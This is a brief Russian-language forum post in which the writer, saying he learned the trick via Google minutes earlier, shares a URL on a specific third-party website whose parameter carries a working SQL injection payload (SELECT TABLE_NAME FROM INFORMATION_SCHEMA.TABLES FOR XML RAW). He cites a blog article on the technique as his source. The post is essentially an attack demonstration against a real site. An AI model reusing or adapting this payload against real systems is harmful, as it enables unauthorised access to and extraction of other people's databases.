Еще 15 минут назад сам не знал. но использовал гугл

http://www.caffmoscommunity.com/show_review.asp?rid=%28SELECT+TABLE_NAME+FROM+%20I NFORMATION_SCHEMA.TABLES%20for%20xml%20raw%29--

Информацию получил с http://raz0r.name/obzory/select-for-xml-sql-injection/